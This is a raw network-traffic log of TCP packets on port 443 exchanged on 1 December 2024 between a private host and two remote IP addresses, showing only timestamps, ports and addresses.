Dec 1, 2024 03:32:40.333431005 CET	49749	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.333451033 CET	443	49749	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.334897995 CET	49749	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.334908009 CET	443	49749	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.455667973 CET	443	49748	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.455725908 CET	443	49748	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.455821991 CET	49748	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.456044912 CET	49748	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.456074953 CET	443	49748	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.456082106 CET	49748	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.456088066 CET	443	49748	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.458673000 CET	49753	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.458714008 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.458815098 CET	49753	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.458935022 CET	49753	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.458949089 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.468961000 CET	443	49751	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.472361088 CET	49751	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.472379923 CET	443	49751	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.479123116 CET	49751	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.479135990 CET	443	49751	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.531917095 CET	443	49752	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.532366991 CET	49752	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.532377958 CET	443	49752	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.532776117 CET	49752	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.532779932 CET	443	49752	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.787302017 CET	443	49749	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.787374020 CET	443	49749	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.787424088 CET	49749	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.787563086 CET	49749	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.787585020 CET	443	49749	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.787595987 CET	49749	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.787601948 CET	443	49749	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.790927887 CET	49754	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.790963888 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.791069031 CET	49754	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.791152000 CET	49754	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.791157007 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.903687954 CET	443	49751	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.903753042 CET	443	49751	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.903800964 CET	49751	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.904007912 CET	49751	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.904031992 CET	443	49751	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.904042006 CET	49751	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.904063940 CET	443	49751	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.906666994 CET	49755	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.906698942 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.906800985 CET	49755	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.907073021 CET	49755	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.907097101 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.977096081 CET	443	49752	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.977164030 CET	443	49752	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.977251053 CET	49752	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.977370977 CET	49752	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.977371931 CET	49752	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.977386951 CET	443	49752	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.977400064 CET	443	49752	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.979594946 CET	49756	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.979625940 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:40.979698896 CET	49756	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.979831934 CET	49756	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:40.979840994 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.069749117 CET	443	49747	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:42.069854021 CET	443	49747	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:42.069905996 CET	49747	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:42.070065975 CET	49747	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:42.070091009 CET	443	49747	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:42.305092096 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.305653095 CET	49753	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.305670023 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.307271957 CET	49753	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.307276964 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.527091026 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:42.527126074 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:42.527211905 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:42.527508020 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:42.527523994 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:42.635497093 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.636074066 CET	49754	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.636087894 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.637609005 CET	49754	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.637615919 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.695545912 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.696152925 CET	49755	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.696177959 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.696585894 CET	49755	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.696590900 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.758510113 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.758575916 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.758629084 CET	49753	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.758887053 CET	49753	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.758900881 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.758912086 CET	49753	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.758918047 CET	443	49753	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.761754990 CET	49758	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.761789083 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.761883974 CET	49758	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.762011051 CET	49758	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.762025118 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.773112059 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.773485899 CET	49756	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.773495913 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:42.773861885 CET	49756	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:42.773865938 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.088453054 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.088517904 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.088828087 CET	49754	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.089682102 CET	49754	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.089683056 CET	49754	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.089699984 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.089713097 CET	443	49754	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.091563940 CET	49759	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.091614962 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.091712952 CET	49759	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.091871977 CET	49759	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.091886997 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.140398026 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.140465021 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.140644073 CET	49755	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.140670061 CET	49755	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.140686035 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.140697956 CET	49755	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.140702963 CET	443	49755	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.143006086 CET	49760	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.143044949 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.143121004 CET	49760	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.143336058 CET	49760	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.143349886 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.217374086 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.217433929 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.217643023 CET	49756	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.217696905 CET	49756	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.217709064 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.217725992 CET	49756	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.217730999 CET	443	49756	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.220074892 CET	49761	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.220108032 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.220227957 CET	49761	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.220316887 CET	49761	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.220324039 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.741797924 CET	443	49750	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.742526054 CET	49750	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.742539883 CET	443	49750	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.743041039 CET	49750	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:43.743045092 CET	443	49750	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:43.832575083 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.832727909 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.834455013 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.834467888 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.834695101 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.856199026 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.856967926 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.857002974 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.857110023 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.857136011 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.857237101 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.857284069 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.857393026 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.857417107 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.857538939 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.857566118 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.857698917 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.857719898 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.857728004 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.857851982 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.857872963 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.903336048 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.903573990 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.903601885 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.903610945 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.947340012 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.947536945 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.947577953 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.947617054 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:43.991338015 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:43.991427898 CET	49757	443	192.168.2.7	172.67.165.166
Dec 1, 2024 03:32:44.039331913 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:44.195337057 CET	443	49750	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.195415974 CET	443	49750	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.195593119 CET	49750	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.195905924 CET	49750	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.195905924 CET	49750	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.195925951 CET	443	49750	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.195936918 CET	443	49750	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.199419022 CET	49762	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.199464083 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.199572086 CET	49762	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.199799061 CET	49762	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.199816942 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.218835115 CET	443	49757	172.67.165.166	192.168.2.7
Dec 1, 2024 03:32:44.475930929 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.476556063 CET	49758	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.476567984 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.477039099 CET	49758	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.477044106 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.857495070 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.858541012 CET	49760	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.858566046 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.858999014 CET	49760	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.859004021 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.873702049 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.874145031 CET	49759	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.874174118 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.874552965 CET	49759	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.874558926 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.911361933 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.911421061 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.911492109 CET	49758	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.911710024 CET	49758	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.911727905 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.911741972 CET	49758	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.911746979 CET	443	49758	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.914453983 CET	49763	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.914499044 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.914602995 CET	49763	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.914724112 CET	49763	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:44.914737940 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:44.999758959 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.000729084 CET	49761	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.000751019 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.001143932 CET	49761	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.001151085 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.291906118 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.291987896 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.292063951 CET	49760	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.292248964 CET	49760	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.292269945 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.292293072 CET	49760	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.292299032 CET	443	49760	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.294825077 CET	49764	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.294859886 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.294929981 CET	49764	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.295072079 CET	49764	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.295082092 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.319948912 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.320049047 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.320127964 CET	49759	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.320264101 CET	49759	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.320286036 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.320301056 CET	49759	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.320307016 CET	443	49759	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.322901964 CET	49765	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.322937012 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.323013067 CET	49765	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.323162079 CET	49765	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.323173046 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.444315910 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.444396019 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.444494009 CET	49761	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.444643974 CET	49761	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.444659948 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.444670916 CET	49761	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.444677114 CET	443	49761	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.447621107 CET	49766	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.447660923 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.447732925 CET	49766	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.447921038 CET	49766	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.447933912 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.979657888 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.980268955 CET	49762	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.980287075 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:45.980731964 CET	49762	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:45.980736971 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.423569918 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.423651934 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.423723936 CET	49762	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:46.423863888 CET	49762	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:46.423881054 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.423893929 CET	49762	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:46.423899889 CET	443	49762	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.428884983 CET	49767	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:46.428939104 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.429068089 CET	49767	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:46.429220915 CET	49767	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:46.429231882 CET	443	49767	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.693392992 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.693873882 CET	49763	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:46.693886995 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:46.694365025 CET	49763	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:46.694370031 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.074173927 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.074789047 CET	49764	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.074815035 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.075279951 CET	49764	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.075284958 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.137447119 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.137531996 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.137684107 CET	49763	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.137902021 CET	49763	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.137902021 CET	49763	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.137918949 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.137933016 CET	443	49763	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.140501022 CET	49768	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.140542030 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.140759945 CET	49768	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.140924931 CET	49768	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.140937090 CET	443	49768	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.165734053 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.168232918 CET	49766	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.168255091 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.168708086 CET	49766	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.168715000 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.176119089 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.180171967 CET	49765	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.180187941 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.180501938 CET	49765	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.180517912 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.518512011 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.518584013 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.518651009 CET	49764	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.518943071 CET	49764	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.518966913 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.518979073 CET	49764	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.518985033 CET	443	49764	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.521862030 CET	49769	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.521894932 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.521955013 CET	49769	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.522242069 CET	49769	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.522257090 CET	443	49769	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.600230932 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.600331068 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.600409031 CET	49766	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.600542068 CET	49766	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.600569010 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.600577116 CET	49766	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.600584030 CET	443	49766	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.603477955 CET	49770	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.603514910 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.603594065 CET	49770	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.603786945 CET	49770	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.603802919 CET	443	49770	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.630582094 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.630639076 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.630709887 CET	49765	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.630884886 CET	49765	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.630906105 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.630918026 CET	49765	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.630923986 CET	443	49765	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:47.633578062 CET	49771	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:47.633616924 CET	443	49771	13.107.246.63	192.168.2.7
